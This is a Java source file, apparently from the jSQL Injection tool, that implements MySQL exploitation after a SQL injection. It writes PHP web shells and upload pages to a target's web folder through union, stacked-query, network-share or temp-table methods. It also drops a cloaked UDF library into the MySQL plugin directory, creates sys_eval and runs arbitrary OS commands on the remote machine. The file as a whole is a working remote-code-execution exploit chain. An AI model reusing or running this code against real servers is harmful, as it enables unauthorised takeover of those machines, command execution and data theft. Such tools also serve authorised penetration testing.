1 package com.jsql.model.accessible.vendor;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ExploitMode;
6 import com.jsql.model.accessible.ResourceAccess;
7 import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql;
8 import com.jsql.model.bean.database.MockElement;
9 import com.jsql.model.bean.util.Interaction;
10 import com.jsql.model.bean.util.Request;
11 import com.jsql.model.exception.JSqlException;
12 import com.jsql.model.exception.JSqlRuntimeException;
13 import com.jsql.model.injection.vendor.model.VendorYaml;
14 import com.jsql.model.suspendable.SuspendableGetRows;
15 import com.jsql.util.LogLevelUtil;
16 import com.jsql.util.StringUtil;
17 import org.apache.commons.codec.binary.Hex;
18 import org.apache.commons.lang3.RandomStringUtils;
19 import org.apache.commons.lang3.StringUtils;
20 import org.apache.logging.log4j.LogManager;
21 import org.apache.logging.log4j.Logger;
22 import org.yaml.snakeyaml.Yaml;
23
24 import java.io.File;
25 import java.io.FileInputStream;
26 import java.io.IOException;
27 import java.io.InputStream;
28 import java.net.URI;
29 import java.net.URISyntaxException;
30 import java.net.http.HttpResponse;
31 import java.nio.charset.StandardCharsets;
32 import java.nio.file.Files;
33 import java.nio.file.Path;
34 import java.nio.file.Paths;
35 import java.nio.file.StandardCopyOption;
36 import java.util.List;
37 import java.util.Objects;
38 import java.util.UUID;
39 import java.util.function.BiPredicate;
40 import java.util.function.BinaryOperator;
41
42 public class ExploitMysql {
43
44
45
46
47 private static final Logger LOGGER = LogManager.getRootLogger();
48 public static final String NAME_TABLE = "temp";
49 private final InjectionModel injectionModel;
50 private final ModelYamlMysql modelYaml;
51
52 private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
53 try {
54 return this.buildSysEval(nameLibraryRandom);
55 } catch (JSqlException e) {
56 throw new JSqlRuntimeException(e);
57 }
58 };
59
60 public ExploitMysql(InjectionModel injectionModel) {
61 this.injectionModel = injectionModel;
62 var yaml = new Yaml();
63 this.modelYaml = yaml.loadAs(
64 injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(),
65 ModelYamlMysql.class
66 );
67 }
68
69 public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
70 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
71
72 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
73 var request = new Request();
74 request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
75 request.setParameters(urlSuccess);
76 this.injectionModel.sendToViews(request);
77 return urlSuccess;
78 };
79 return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
80 }
81
82 public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
83 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
84 var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
85 if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
86 var request = new Request();
87 request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
88 request.setParameters(urlSuccess, username, password);
89 this.injectionModel.sendToViews(request);
90 return urlSuccess;
91 }
92 return StringUtils.EMPTY;
93 };
94 var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
95 if (StringUtils.isEmpty(urlSuccess)) {
96 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
97 urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
98 }
99 if (StringUtils.isEmpty(urlSuccess)) {
100 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
101 urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
102 }
103 if (StringUtils.isEmpty(urlSuccess)) {
104 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
105 }
106 return urlSuccess;
107 }
108
109 public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
110 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
111 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
112 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
113 if (result.body().contains(DataAccess.LEAD +"y")) {
114 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
115 } else {
116 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
117 }
118 } catch (InterruptedException e) {
119 LOGGER.log(LogLevelUtil.IGNORE, e, e);
120 Thread.currentThread().interrupt();
121 } catch (IOException | JSqlException e) {
122 throw new JSqlRuntimeException(e);
123 }
124 return urlSuccess;
125 };
126 this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
127 }
128
129
130
131
132
133 public String create(
134 String pathRemoteFolder,
135 String urlExploit,
136 String keyPropertyExploit,
137 String nameExploit,
138 BinaryOperator<String> biFuncGetRequest,
139 String pathNetshareFolder,
140 ExploitMode exploitMode
141 ) throws JSqlException {
142 if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
143 return null;
144 }
145
146 String bodyExploit = StringUtil.base64Decode(
147 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit)
148 )
149 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
150 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
151
152
153 BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
154 try {
155 String resultInjection = this.confirm(pathFolder + nameFile);
156 return resultInjection.contains(bodyExploit);
157 } catch (JSqlException e) {
158 throw new JSqlRuntimeException(e);
159 }
160 };
161
162 var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
163 String nameExploitValidated = StringUtils.EMPTY;
164
165 if (exploitMode == ExploitMode.NETSHARE) {
166 ExploitMysql.copyToShare(pathNetshareFolder + nameExploit, bodyExploit);
167 nameExploitValidated = this.byNetshare(
168 nbIndexesFound,
169 pathNetshareFolder,
170 nameExploit,
171 pathRemoteFolder,
172 biPredConfirm
173 );
174 } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
175 nameExploitValidated = this.byQueryBody(
176 nbIndexesFound,
177 pathRemoteFolder,
178 nameExploit,
179 StringUtil.toHexChunks(bodyExploit.getBytes()),
180 biPredConfirm
181 );
182 }
183 if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
184 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
185 this.byTable(
186 StringUtil.toHexChunks(bodyExploit.getBytes()),
187 pathRemoteFolder + nameExploitRandom
188 );
189 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
190 nameExploitValidated = nameExploitRandom;
191 }
192 }
193
194 if (StringUtils.isEmpty(nameExploitValidated)) {
195 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
196 return null;
197 }
198 nameExploit = nameExploitValidated;
199 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
200
201 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
202 }
203
204 public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
205 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
206
207 if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
208 return;
209 }
210
211 var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
212 var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "udf#dir");
213 if (StringUtils.isEmpty(pathPlugin)) {
214 throw new JSqlException("Incorrect plugin folder: path is empty");
215 }
216
217 var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "udf#check-os");
218 if (StringUtils.isEmpty(versionOsMachine)) {
219 throw new JSqlException("Incorrect remote machine: unknown system");
220 }
221 var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
222
223 String nameLibrary;
224 if (versionOsMachine.contains("64")) {
225 nameLibrary = isWin ? "64.dll" : "64.so";
226 } else {
227 nameLibrary = isWin ? "32.dll" : "32.so";
228 }
229
230 pathPlugin = pathPlugin.replace("\\", "/");
231 if (!pathPlugin.endsWith("/")) {
232 pathPlugin = String.format("%s%s", pathPlugin, "/");
233 }
234
235 if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
236 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
237 }
238 String isSuccess = StringUtils.EMPTY;
239 if (exploitMode == ExploitMode.NETSHARE) {
240 if (!pathNetshareFolder.endsWith("\\")) {
241 pathNetshareFolder += "\\";
242 }
243 ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
244 isSuccess = this.byNetshare(
245 nbIndexesFound,
246 pathNetshareFolder,
247 nameLibrary,
248 pathPlugin,
249 this.biPredCreateUdf
250 );
251 } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
252 if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
253 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size too limited for UDF with GET, in case of failure use POST instead");
254 }
255 isSuccess = this.byQueryBody(
256 nbIndexesFound,
257 pathPlugin,
258 nameLibrary,
259 ExploitMysql.toHexChunks(nameLibrary),
260 this.biPredCreateUdf
261 );
262 }
263 if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
264 var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
265 this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
266 this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
267 }
268 }
269
270 public String byQueryBody(
271 int nbIndexesFound,
272 String pathRemoteFolder,
273 String nameExploit,
274 List<String> hexChunks,
275 BiPredicate<String,String> biPredConfirm
276 ) {
277 String nameExploitValidated = StringUtils.EMPTY;
278 var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
279
280 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
281 this.injectionModel.injectWithoutIndex(String.format(pattern,
282 "union",
283 "'',".repeat(nbIndexesFound),
284 String.join(StringUtils.EMPTY, hexChunks),
285 pathRemoteFolder + nameExploitRandom
286 ), "body#union-dump");
287 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
288 nameExploitValidated = nameExploitRandom;
289 }
290 if (StringUtils.isEmpty(nameExploitValidated)) {
291 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
292 nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
293 this.injectionModel.injectWithoutIndex(String.format(pattern,
294 ";",
295 StringUtils.EMPTY,
296 String.join(StringUtils.EMPTY, hexChunks),
297 pathRemoteFolder + nameExploitRandom
298 ), "body#stack-dump");
299 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
300 nameExploitValidated = nameExploitRandom;
301 }
302 }
303 return nameExploitValidated;
304 }
305
306 public String byNetshare(
307 int nbIndexesFound,
308 String pathNetshareFolder,
309 String nameExploit,
310 String pathRemoteFolder,
311 BiPredicate<String,String> biPredConfirm
312 ) {
313 String nameExploitValidated = StringUtils.EMPTY;
314 var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
315 var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
316
317 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
318 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
319 this.injectionModel.injectWithoutIndex(String.format(pattern,
320 "union",
321 "'',".repeat(nbIndexesFound),
322 pathShareEncoded + nameExploit,
323 pathRemoteFolder + nameExploitRandom
324 ), "udf#share-union");
325 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
326 nameExploitValidated = nameExploitRandom;
327 }
328 if (StringUtils.isEmpty(nameExploitValidated)) {
329 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
330 nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
331 this.injectionModel.injectWithoutIndex(String.format(pattern,
332 ";",
333 StringUtils.EMPTY,
334 pathShareEncoded + nameExploit,
335 pathRemoteFolder + nameExploitRandom
336 ), "udf#share-stack");
337 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
338 nameExploitValidated = nameExploitRandom;
339 }
340 }
341 return nameExploitValidated;
342 }
343
344 private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
345 try {
346 URI original = Objects.requireNonNull(ExploitMysql.class.getClassLoader().getResource("udf/" + nameLibrary)).toURI();
347 Path originalPath = new File(original).toPath();
348 Path copied = Paths.get(pathNetshare + nameLibrary);
349 Files.copy(originalPath, copied, StandardCopyOption.REPLACE_EXISTING);
350 } catch (IOException | URISyntaxException e) {
351 throw new JSqlException("Copy udf into local network share failure: " + e.getMessage());
352 }
353 }
354
355 public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
356 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
357 var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
358 if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
359 nameDatabase = "mysql";
360 }
361 var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);
362 var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
363 this.injectionModel.injectWithoutIndex(String.format(
364 this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
365 nameSchemaTable
366 ), ResourceAccess.TBL_DROP);
367 var countResult = this.getCountTable(nameDatabase, nameTableRandom);
368 if (!"0".equals(countResult)) {
369 throw new JSqlException("Drop table failure: "+ countResult);
370 }
371 this.injectionModel.injectWithoutIndex(String.format(
372 this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
373 nameSchemaTable
374 ), ResourceAccess.TBL_CREATE);
375 countResult = this.getCountTable(nameDatabase, nameTableRandom);
376 if (!"1".equals(countResult)) {
377 throw new JSqlException("Create table failure: "+ countResult);
378 }
379 int indexChunk = 0;
380 for (String chunk: bodyHexChunks) {
381 if (indexChunk == 0) {
382 this.injectionModel.injectWithoutIndex(String.format(
383 this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
384 nameSchemaTable,
385 chunk
386 ), "tbl#init");
387 } else {
388 this.injectionModel.injectWithoutIndex(String.format(
389 this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
390 nameSchemaTable,
391 chunk
392 ), ResourceAccess.TBL_FILL);
393 }
394 indexChunk++;
395 }
396 this.injectionModel.injectWithoutIndex(String.format(
397 this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
398 nameSchemaTable,
399 pathRemoteFile
400 ), ResourceAccess.TBL_DUMP);
401 }
402
403 private String getCountTable(String nameDatabase, String nameTableRandom) {
404 try {
405 return this.injectionModel.getResourceAccess().getResult(String.format(
406 this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
407 nameTableRandom,
408 nameDatabase
409 ), "tbl#check");
410 } catch (JSqlException e) {
411 return e.getMessage();
412 }
413 }
414
415 private boolean buildSysEval(String nameLibrary) throws JSqlException {
416 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#del-func");
417 this.injectionModel.injectWithoutIndex(String.format(
418 this.modelYaml.getUdf().getAddFunction().getCreate(),
419 nameLibrary
420 ), "udf#function");
421 var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
422 if (!confirm.contains("sys_eval")) {
423 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
424 return false;
425 }
426 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
427
428 var request = new Request();
429 request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF);
430 request.setParameters(null, null);
431 this.injectionModel.sendToViews(request);
432 return true;
433 }
434
435 private static void copyToShare(String pathFile, String bodyExploit) throws JSqlException {
436 Path path = Paths.get(pathFile);
437 try {
438 Files.write(path, bodyExploit.getBytes());
439 } catch (IOException e) {
440 throw new JSqlException(e);
441 }
442 }
443
444 public String confirm(String path) throws JSqlException {
445 var sourcePage = new String[]{ StringUtils.EMPTY };
446 return new SuspendableGetRows(this.injectionModel).run(
447 this.modelYaml.getFile().getRead().replace(
448 VendorYaml.FILEPATH_HEX,
449 Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
450 ),
451 sourcePage,
452 false,
453 1,
454 MockElement.MOCK,
455 "xplt#confirm-file"
456 );
457 }
458
459 public String runUdfCmd(String command, UUID uuidShell) {
460 String result;
461 try {
462 result = this.injectionModel.getResourceAccess().getResult(String.format(
463 this.modelYaml.getUdf().getRunCmd(),
464 command.replace(StringUtils.SPACE, "%20")
465 ), "udf#run-cmd") +"\n";
466 } catch (JSqlException e) {
467 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
468 }
469 var request = new Request();
470 request.setMessage(Interaction.GET_EXPLOIT_UDF_RESULT);
471 request.setParameters(uuidShell, result);
472 this.injectionModel.sendToViews(request);
473 return result;
474 }
475
476 private static List<String> toHexChunks(String filename) throws JSqlException {
477 try {
478 byte[] fileData = Objects.requireNonNull(
479 ExploitMysql.class.getClassLoader().getResourceAsStream("udf/mysql/"+ filename +".cloak")
480 ).readAllBytes();
481 fileData = StringUtil.uncloak(fileData);
482 return StringUtil.toHexChunks(fileData);
483 } catch (IOException e) {
484 throw new JSqlException(e);
485 }
486 }
487
488 public ModelYamlMysql getModelYaml() {
489 return this.modelYaml;
490 }
491 }